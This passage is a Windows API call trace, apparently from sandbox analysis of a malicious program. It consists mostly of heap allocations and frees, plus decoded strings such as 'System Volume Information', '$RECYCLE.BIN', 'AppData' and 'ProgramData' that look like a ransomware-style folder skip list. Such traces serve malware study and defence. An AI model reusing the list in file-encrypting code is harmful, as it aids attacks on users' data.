lpMultiByteStr=0x92c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92da58 [0210.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c288, cbMultiByte=5, lpWideCharStr=0x92da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dae0 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92da58) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2a8 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92da58 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dae0) returned 1 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x982850 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d298 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x92bc08 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d278 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0210.009] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d268 [0210.009] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x985058 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d248 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5e8 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d238 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c630 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d228 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c678 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d218 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c6c0 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d208 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c708 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1e8 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c750 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1f8 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c798 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d298) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d288) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d278) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d268) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc08) returned 1 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.010] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.010] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d268 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d278 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x92bc08 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d298 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.011] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5e8) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d248) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c630) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d238) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c678) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d228) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c6c0) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d218) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c708) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d208) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c750) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1e8) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c798) returned 1 [0210.011] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1f8) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x985058) returned 1 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x985058 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1f8 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c798 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1e8 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c750 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d208 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c708 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d218 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c6c0 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d228 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c678 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d238 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c630 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d248 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5e8 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d268) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d278) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d288) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d298) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.012] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc08) returned 1 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x92bc08 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.012] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d298 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d278 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d268 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c798) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1f8) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c750) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1e8) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c708) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d208) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c6c0) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d218) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c678) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d228) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c630) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d238) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5e8) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d248) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x985058) returned 1 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x982850) returned 1 [0210.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dae0 [0210.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c1f8, cbMultiByte=25, lpWideCharStr=0x92dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92db68 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dae0) returned 1 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d248 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dae0 [0210.013] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92db68) returned 1 [0210.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92db68 [0210.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c1b0, cbMultiByte=12, lpWideCharStr=0x92db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0210.013] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dbf0 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92db68) returned 1 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d238 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92db68 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dbf0) returned 1 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dbf0 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c168, cbMultiByte=8, lpWideCharStr=0x92dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dc78 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dbf0) returned 1 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d228 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dbf0 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dc78) returned 1 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dc78 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c120, cbMultiByte=6, lpWideCharStr=0x92dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dd00 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dc78) returned 1 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d218 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dc78 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dd00) returned 1 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dd00 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c240, cbMultiByte=11, lpWideCharStr=0x92dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dd88 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dd00) returned 1 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x92dd00 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d208 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92de28 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dd88) returned 1 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92deb0 [0210.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c0d8, cbMultiByte=7, lpWideCharStr=0x92deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92df38 [0210.014] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92deb0) returned 1 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1e8 [0210.014] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92deb0 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92df38) returned 1 [0210.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92df38 [0210.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c288, cbMultiByte=11, lpWideCharStr=0x92df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92dfc0 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92df38) returned 1 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1f8 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92df38 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92dfc0) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d298) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d288) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d278) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d268) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bc08) returned 1 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x982850 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0210.015] RtlAllocateHeap 